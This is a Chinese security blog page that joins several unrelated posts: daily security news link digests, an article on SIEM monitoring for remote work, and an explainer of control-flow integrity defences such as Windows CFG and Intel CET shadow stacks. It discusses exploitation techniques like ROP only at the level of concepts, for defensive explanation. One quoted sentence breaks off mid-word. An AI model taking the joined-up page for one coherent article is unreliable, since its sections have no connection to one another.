7、印度尼西亚COVID-19追踪应用程序泄露用户信息 https://www.technadu.com/indonesia-launches-investigation-possible-breach-covid-19-tracing-app/298229/ 8、QNAP 正在为受OpenSSL 漏洞影响的产品开发安全补丁 https://securityaffairs.co/wordpress/121724/iot/qnap-openssl-nas.html 9、Gutenberg 模板库和 Redux 框架插件漏洞影响数百万WordPress站点 https://threatpost.com/gutenberg-template-library-redux-bugs-wordpress/169111/ 10、本田雅阁、思域等多款车存在密钥重放攻击安全漏洞 https://github.com/hackingintoyourheart/unoriginal-rice-patty

在新冠疫情开始之初，当世界各地的政府下达居家令时，许多员工已经向他们的雇主证明，他们居家办公也可以保持与之前一样的高效率，甚至在某些情况下还可以提高工作效率。  由于这种被迫进行的尝试，许多专家和管理人员现在预测：这种灵活的居家办公策略将会继续存在。Gartner 的研究表明，有 41% 的员工将会继续居家办公，而在新冠疫情发生之前这一比例只有 30%。此外，已有 13% 的首席财务官 (CFO) 开始削减用于办公空间的房地产支出。随着远程工作模式的持续，安全专家需要采用相应的方法来维持已在消失多年的网络外围中几乎不存在的可视性、监控和威胁检测。  尽管存在新的盲点，但在以下四个关键领域中，集中式安全信息和事件管理 (SIEM) 解决方案可以帮助安全团队重新获得并提升可视性与监控。  电子邮件 有针对性的攻击者擅长编写极具吸引力的网络钓鱼电子邮件，而且他们的技巧会越来越纯熟。电子邮件是需要予以监控的最重要的威胁媒介之一，因为在进入组织网络的恶意软件中，有 94% 的恶意软件都是通过网络钓鱼来交付的。若要尽早了解这些威胁，更重要的是，若要准确跟踪网络钓鱼电子邮件打开后发生的情况，安全团队需要获得对整个组织中所发生情况的集中视图。 端点 在大规模转向远程工作模式之前，公司通常可以分为两种类型：  一种是那些几乎完全采用办公室工作模式，其用户使用台式机进行工作的公司， 而另一种是那些支持远程工作模式，其笔记本电脑上的用户可以通过 VPN 连接到网络的公司。 当员工几乎完全转向远程工作模式时，他们都会面临诸多挑战。之前采用办公室工作模式的组织需要迅速弄清楚如何为远程员工启用核心服务和应用，而且在某些情况下，还需要首次部署虚拟专用网络 (VPN)。支持远程工作模式的公司会发现 VPN 使用量激增，网络不堪重负且速度大大降低，从根本上迫使用户不得不脱离 VPN 来维持生产效率。从安全角度来看，两种情况都在端点和用户活动方面引入了大量盲点。  若要重新获得可视性，安全团队可以结合采用端点操作系统 (OS)、VPN 和端点检测与响应 (EDR) 事件来进行威胁检测。借助 Windows、macOS 和 Linux 的本地日志记录，安全团队可以洞悉端点级别发生的情况。通过使用 Sysmon 扩展 Windows 事件日志记录，团队可以获得更深入的威胁相关洞察力，例如流程活动和域名系统 (DNS) 请求。  对于使用 EDR 解决方案（例如 Carbon Black 或 CrowdStrike）的组织，可以将端点安全事件发送到集中式 SIEM 解决方案，并与其他企业数据相关联，以实现端到端威胁可视性。一旦 EDR 与 SIEM 进行了紧密集成，便可以直接从 SIEM 界面启动响应操作。最后，当用户登录 VPN 或通过基于风险的身份验证访问应用时，这些解决方案可以洞悉有关端点位置、MAC 地址、用户代理以及其他有价值的信息，进而提供这是否是真实用户的洞察力。  一旦通过单个位置收集了这些宝贵的数据，安全团队便可运用一系列机器学习和基于相关性的分析来检测已知和未知威胁。对于安全运营团队而言，寻找可提供预构建安全用例和分析的 SIEM 供应商尤为有用，这样他们就不必花费时间和金钱从头开始研究和开发这些产品。  应用 应用活动的监控应是团队的主要重点，因为与监控端点不同，组织即使在网络之外也仍然可以控制应用活动。应用监控还有助于暴露网络中已存在的攻击者。应用监控可以在多个级别上执行：  通过身份即服务 (IDaaS) 解决方案（例如 Cloud Identity Connect 或 Okta 登录时。 直接通过 SAP、SalesForce.com 或 Office 365 等应用登录、注销时。 通过 Zscaler 等云访问安全代理 (CASB) 解决方案来监控谁正在访问或试图访问哪些应用。 直接在应用堆栈内，包括 OS 容器编排平台（如 Kubernetes）、容器本身和这些环境中的 API 调用。  云 由于许多物理数据中心暂时关闭，因此组织迫切需要将 IT 系统的现场物理维护需求降至最低。许多组织已迅速加速了云基础架构的采用，为其工作负载和应用提供支持，以维持业务连续性。由于许多此类迁移已经进行了规划（通常只是按照随后的时间表进行），因此大多数安全团队都应期望这些投资能够继续保持。  为了更早地了解这些环境中的风险和威胁，安全团队可以监控一系列事件，包括用户活动、应用活动以及资源和配置更改。幸运的是，主要的公有云供应商（例如 AWS、IBM、Azure 和 Google Cloud））均提供了丰富的日志、事件和网络流数据集，这些可引入到集中式 SIEM 解决方案之中，进而实现内部和多云环境中的可视性和检测。   总结 由于正在快速转移到远程工作模式，许多 IT 组织现在已经部署了支持远程员工的技术。在过去的数月中，员工已经证明他们居家办公也可以保持较高的生产效率。随着我们迈向新常态，即将发生的一项明显变化就是更加灵活、对远程友好的工作策略。在此情况下，安全运营团队需要一种可持续的长期战略，以在具有新盲点且几乎没有任何剩余外围的网络上保持可视性和威胁检测。  通过加倍增加集中式安全分析，特别是网络钓鱼、端点、应用和云安全用例，安全分析人员可以获得新的洞察力，弥补丢失的可视性并最终帮助增强组织的安全态势。在如今安全团队由于远程工作而精疲力尽的时代，组织可以考虑部署具备以下优势的 SIEM 解决方案：能够在任何环境（包括 SaaS 或公有云）中运行、能够提供预构建用例，让检测变得更轻松并提高总体价值，同时能够提供与 SOAR 解决方案（如 Resilient）的紧密集成，进而加快端到端威胁检测、调查和响应周期。

控制流完整性 针对于漏洞利用，最终的效果和目的就是劫持控制流，控制目标程序做一些他本来做不了的事情。可以达到这一目的的方式有很多，比如ROP、劫持函数指针等等。而这些都来自于软件中一些漏洞，如缓冲区溢出、释放后利用等等。最初防御的方式就是头疼医头，脚疼医脚，哪里出现了漏洞比如缓冲区溢出，我们就检查一下内存边界，或者在边界处设置一个cookie（canary）。 或许是漏洞多的补不过来，之前的防御方式不能很好的完成防御计算机被破坏的工作，原本的防御方式经过几轮较量后衍生出了很多绕过方式，这些攻击手法就是现代漏洞利用技术的核心，比如ROP。如果攻击者通过层层阻挠，到达了执行ROP这一步，那么后续的路基本就畅通无阻了，因为之前并没有防御ROP的有效方式。 CFI即Control Flow Integrity控制流完整性就是指程序运行时控制流的合法性。这一步概念被提出来主要就是为了针对ROP的防御。可以将程序运行看作是一辆车在路上跑，开发者遵循的安全开发准则，比如说严格控制好边界等可以看作是司机在路上遵守交通规则；而之前的防御如canary等内存边界检查机制可以理解为马路边上的防护栅栏；而CFI验证可以看作是车内的安全气囊、安全带等装置。 那么这个CFI验证具体干什么呢不管一个程序有多复杂，他所能覆盖到的代码分枝路线以及行为虽然很多，但是不是无限的，他的活动范围总会有一个边界。如果一个攻击者通过程序中的漏洞控制了这个程序，那么攻击者肯定不会满足于程序本身给提供的代码分枝进行执行，总会超过这一边界，去执行一些程序中本来没有的逻辑。 CFI验证顾名思义，就是确保程序在预期的范围内执行。针对于这一思路，目前已经有很多的实现方式。 windows cfg cfg全称就是Control Flow Guard，即控制流保护。其主要思路就是在间接跳转前后插入一段代码，用于验证其有效性。 为什么是间接跳转呢？因为直接跳转写死在代码段，攻击者利用不了。 如何验证其有效性呢？在编译时会记录各个间接跳转函数的地址，生成一个白名单，在函数发生间接跳转时就会对照这一白名单,如果在白名单里面，皆大欢喜，不在的话那就抛出异常。 那么具体怎么做的呢？这里偷个懒，引用下其他前辈的文章： https://xz.aliyun.com/t/2587https://www.anquanke.com/post/id/85493https://blog.csdn.net/cssxn/article/details/101285088https://blog.csdn.net/stevegao_tencent/article/details/43486485?utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-1.essearc 然而CFG也有缺点，也就是绕过方法，比如他没有防御返回地址、SEH指针等，可以攻击这些没有被CFG防御的区域.同样，由于CFG依赖白名单，而这一白名单是在编译时生成的，他没有扩展性，所以一些临时生成代码比如JIT生成的代码就没有CFG保护。 发展 对于CFI验证，学术界提出了很多相应的解决办法。对于这种底层的验证方案，不光要考虑可行性和安全性，同时效率也是不可忽视的一个重要因素。各种专家学者提出了很多的方案，这篇文章中做了一些简要的介绍： https://www.inforsec.org/wp/?p=495控制流劫持的末日——CET 或许是厌倦了软件防护花里胡哨的算法以及效率的折衷，intel提出了一个似乎更佳完美的解决方案：CET。 这个CET全称是Control-flow Enforcement Technology，并不是大学英语等级考试的CET。 研究者们似乎将分支跳转分成了两类，第一类是向前跳转，即call、jmp类型指令，第二类是后向跳转，也就是ret型指令。 那么众所周知，劫持控制流就是控制RIP指针，而RIP指针只能通过上述的两类指令进行修改，所以控制流劫持的攻击手段也都是针对于这些指令做文章。蛇打七寸，intel的CET防护措施似乎正好将剑戳进了控制流劫持的心窝。 奇怪的指令——endbr64 起初并没有刻意的去参阅有关资料，而是在新版本的编译器中发现了一个奇怪的指令：endbr64，于是乎google一下，属实吓得不轻。 intel在硬件层面实现了对控制流完整性的相应检查防御措施，而这个奇怪的指令endbr64就是其中之一。 这个endbr64指令在旧版本的cpu中会被当作NOP指令，而在新的cpu中其实也是个空操作指令，但是会被当作一个标志，用于监控间接跳转，他会出现在函数的开头位置。 具体来说，就是当发生间接跳转时，cpu会从IDLE状态转换为WAITING状态，在WAITING状态的cpu运行的下一条指令必须为endbr64，如果不是的话，那么直接抛出一个异常，是的话CPU就转为IDLE状态继续执行。 The ENDBRANCH (see Section 73 for details) is a new instruction that is used to mark valid jump target addresses of indirect calls and jumps in the program. This instruction opcode is selected to be one that is a NOP on legacy machines such that programs compiled with ENDBRANCH new instruction conti IF EndbranchEnabled(CPL) & EFER.LMA = 1 & CS.L = 1 IF CPL = 3 THEN   IA32_U_CET.TRACKER = IDLE   IA32_U_CET.SUPPRESS = 0 ELSE   IA32_S_CET.TRACKER = IDLE   IA32_S_CET.SUPPRESS = 0 FI FI; ROP的落幕 —— shadow stack 针对于ROP攻击，intel的CET策略是采用一个影子栈，专门用来记录返回地址等信息。 具体工作原理就是： 当运行call指令时，会同时向用户栈和影子栈压入返回地址。而当运行ret指令时，会讲用户栈弹出的返回地址与影子栈中弹出的返回地址做一个比较，若不相同则抛出异常。 那么这个影子栈存储在哪里呢？intel专门为这个影子栈策略提供了相应的寄存器和指令，分别为SSP（shadow stack pointer）和影子栈操作指令： INCSSP – increment SSP (i.e. to unwind shadow stack) RDSSP – read SSP into general purpose register SAVEPREVSSP/RSTORSSP – save/restore shadow stack (i.e. thread switching) 具体的指令有哪些，这里我就没有细究，有兴趣可以翻阅intel文档。 https://binpwn.com/papers/control-flow-enforcement-technology-preview.pdf结语 从最初简单的栈溢出执行shellcode到ROP，再到堆溢出利用，花式劫持虚函数指针，轰轰烈烈持续了几十年的内存破坏漏洞似乎在最近可预见的未来要到一个尾声了。似乎后CET时代的黑客们只能投机取巧攻击一些老旧的未被CET保护的设备，防御的成本越来越低，而攻击的成本则越来越高。而漏洞的攻防战还没结束，测信道、逻辑漏洞等等目前还是没有一个统一有效的保护措施，学无止境，学吧。

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Fortress Security Store 家庭安全系统中发现严重漏洞 https://www.securityweek.com/vulnerabilities-can-allow-hackers-disarm-fortress-home-security-systems 2、研究人员发现GitHub Copilot 生成的代码中约有 40% 存在漏洞 https://www.securityweek.com/code-generated-github-copilot-can-introduce-vulnerabilities-researchers 3、QNAP 设备受最新 OpenSSL 漏洞影响 https://threatpost.com/qnap-openssl-bugs/169054/ 4、LockFile勒索软件利用间歇性加密技术绕过防护 https://thehackernews.com/2021/08/lockfile-ransomware-bypasses-protection.html 5、开源Python机器学习框架TensorFlow存在RCE漏洞 https://portswigger.net/daily-swig/deserialization-bug-in-tensorflow-machine-learning-framework-allowed-arbitrary-code-execution 6、诈骗者冒充OpenSea数字资产市场的客服窃取加密货币 https://www.govinfosecurity.com/scammers-impersonate-opensea-customer-support-a-17414 7、WooCommerce定价插件允许恶意代码注入 https://threatpost.com/woocommerce-plugin-malicious/169063/ 8、美国SEC 将监控 DeFi 平台上的非法活动 https://www.govinfosecurity.com/sec-to-monitor-illicit-activity-on-defi-platforms-a-17410 9、AMD Zen+、Zen2 系列处理器易受Meltdown侧信道攻击 https://www.theregister.com/2021/08/30/amd_meltdown_zen 10、Puma 1GB被盗数据在暗网上公开拍卖 https://www.freebuf.com/news/286723.html

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、美司法部宣布设立奖学金计划用于检察官和律师的网络安全培训 https://securityaffairs.co/wordpress/121646/security/us-doj-cyber-fellowship-program.html 2、CISA 敦促企业修复 Microsoft Azure Cosmos DB 漏洞 https://securityaffairs.co/wordpress/121638/security/cisa-microsoft-azure-cosmos-db-flaw.html 3、台达工业能源管理系统存多个高危漏洞影响生产安全 https://www.securityweek.com/exploitation-flaws-delta-energy-management-system-could-have-dire-consequences 4、HPE 警告 Sudo 漏洞影响AirWave 管理平台 https://threatpost.com/hpe-sudo-bug-aruba-platform/169038/ 5、新的 Mirai 变体利用 WebSVN 命令注入漏洞 https://unit42.paloaltonetworks.com/cve-2021-32305-websvn 6、ProxyToken 漏洞可修改 Exchange 服务器配置 https://therecord.media/proxytoken-vulnerability-can-modify-exchange-server-configs/ 7、曼谷航空公司遭LockBit勒索软件攻击导致数据泄露 https://www.zdnet.com/article/bangkok-airways-apologizes-for-passport-info-breach-as-lockbit-ransomware-group-threatens-release-of-more-data/ 8、Phorpiex僵尸网络停止运营并在暗网出售源码 https://securityaffairs.co/wordpress/121560/malware/phorpiex-botnet.html 9、研究人员发现了新版本的DirtyMoe僵尸网络 https://cyware.com/news/dirtymoe-botnet-returns-with-new-tricks-ba3ef2b8 10、网信办：算法推荐服务提供者不得利用算法屏蔽信息、过度推荐 https://www.freebuf.com/news/286454.html